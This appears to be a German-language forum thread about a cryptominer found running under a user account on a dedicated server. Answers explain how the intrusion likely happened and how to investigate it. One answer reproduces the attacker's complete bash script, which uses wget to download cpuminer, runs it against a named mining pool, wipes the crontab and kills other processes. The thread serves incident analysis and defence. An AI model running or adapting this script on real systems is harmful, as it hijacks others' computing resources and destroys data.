Wurde ich gehackt?

Wurde ich gehackt?

Ich betreibe einen dedizierten Server, bei dem mir kürzlich eine hohe CPU-Auslastung aufgefallen ist, und habe die Prozesse überprüft. Es scheint, als hätte jemand (Mick-Konto) auf meinem Server gemined. Wie ist das möglich? Der Vorgang ist unten beschrieben. Ich habe das Konto gesperrt. Was muss ich sonst noch tun?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

Antwort1

Wenn Sie einen Webserver betreiben, der serverseitiges Scripting (PHP, Ruby usw.) zulässt, ist dies sehr einfach.

Der Benutzer muss lediglich ein Skript erstellen, das eine Datei herunterlädt /tmp/sh64und dann ausführt. Webskripte müssen in der Regel externe Programme ausführen können, daher ist diese Art von Aktivität schwer zu verhindern.

Wenn es sich bei dem mickKonto um dasselbe Konto handelt, das zum Ausführen der Webskripte des Benutzers verwendet wird, würde ich sagen: Nein, Sie wurden nicht gehackt. Es handelt sich nur um einen Benutzer, der sein Konto missbraucht.

Wenn Sie dieses Verhalten verhindern möchten, gibt es einige Möglichkeiten. Sie können entweder das Aufrufen externer Programme verbieten. Oder Sie können beispielsweise Programme mit langer Laufzeit beenden (z. B. alle Programme, die länger als 60 Sekunden laufen).
Ohne weitere Details zu Ihrem Setup zu kennen, ist es schwierig, die beste Vorgehensweise zu bestimmen.

Antwort2

Ich hatte ein ähnliches Problem. Sie nutzten eine veraltete Version des NRPE-Agenten von Nagios, um ein wgetSkript auszuführen, das den Bitcoin-Miner von Sourceforge installierte und konfigurierte (der NRPE-Daemon war dont_blame_nrpeaktiviert). Ich habe nichts gefunden, was darauf hindeuten würde, dass der Versuch auf meiner Maschine hartnäckig war.

Dies ist das Skript, das für die Installation und Einrichtung des Bitcoin-Miners verwendet wurde:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Dieses Skript wurde vollständig als Nagios-Benutzer ausgeführt und benötigte daher keinen Root-Zugriff.

Antwort3

Ihr System wurde definitiv kompromittiert oder schlimmstenfalls gehackt. Es gibt andere Geschichten, in denen die Installation eines ähnlichen Miners beschrieben wird.

Ich würde davon ausgehen, dass Ihr System kompromittiert wurde, und zunächst alle wichtigen Daten daraus entfernen, damit Sie ein Backup davon haben, falls dies nicht bereits geschieht.

Analyse

Wenn Sie wissen möchten, wie die Angreifer sich Zugang verschafft haben, müssen Sie eine vollständige Liste der von Ihnen installierten Dienste (Web, MySQL usw.) erstellen und prüfen, ob aktive Exploits vorhanden sind, mit denen sich jemand erweiterte Berechtigungen verschaffen könnte.

Ich würde mit allen Web-Aktivierungen beginnen, also mit webbasierten Anwendungen. Normalerweise kann es bei diesen Anwendungen zu Pufferüberläufen kommen und der Zugriff auf die Änderung des Stacks des Webservers kann die Installation zusätzlicher Anwendungen ermöglichen.

Bei dieser Art von Kompromittierung kann es sich um Einzelfälle handeln, sodass das Entfernen der schädlichen Software und der Malware ausreichen kann, um das Problem zu beseitigen, ohne dass der Zeitaufwand für eine vollständige Wiederherstellung/Einrichtung des Systems erforderlich ist.

Wenn dieses System mit einem VPS-basierten Image erstellt wurde, würde ich mit dem Anbieter zusammenarbeiten, da ein Patchen in seinem besten Interesse für alle seine Kunden zu sein scheint.

Mehr als nur den Web-Stack kompromittieren

Alles auf der Box muss genau untersucht werden und ist grundsätzlich nicht vertrauenswürdig, aber ich würde mir etwas Zeit nehmen, um herauszufinden, von wo aus sich die Angreifer anmelden, wenn überhaupt. Sie melden sich möglicherweise über SSH-Konten an, die dem System nach der Kompromittierung hinzugefügt wurden.

Dies kann eine mühsame Aufgabe sein, deren Analyse mehrere Tage in Anspruch nimmt, insbesondere wenn Sie keinem der verfügbaren Tools vertrauen können, um dieses Unterfangen zu unterstützen. Ich würde jedem empfehlen, sich die Zeit zu nehmen, um herauszufinden, wie sein System kompromittiert wurde, damit Sie das Risiko verringern können, dass dies in Zukunft erneut passiert, zumindest über diesen speziellen Vektor.

Wenn es sich hierbei nicht um ein Produktionsproblem handelt, ist dies tatsächlich eine gute Lernmöglichkeit, um wertvolle Einblicke in die Art und Weise zu gewinnen, wie Systeme kompromittiert werden können und potenzielle Angreifer sich den Zugriff „ausnutzen“ können.

Silberstreif?

Da das System für Mining-Zwecke verwendet wird, ist es wahrscheinlich, dass sie einen Satz automatisierter Skript-Tools verwendet haben, da es sehr zeitaufwändig wäre, genügend Systeme anzugreifen, um Zombie-Miner einzurichten. Wenn Tools wie diese verwendet werden, sind sie in der Regel schlampig konstruiert und versuchen nur das absolute Minimum zu tun, um Fuß zu fassen und dann ihre Nutzlast (die Mining-Software) auszuliefern. Sie könnten also Glück haben und zusätzliche Einblicke erhalten, wie sie sich Zugang verschaffen konnten.

verwandte Informationen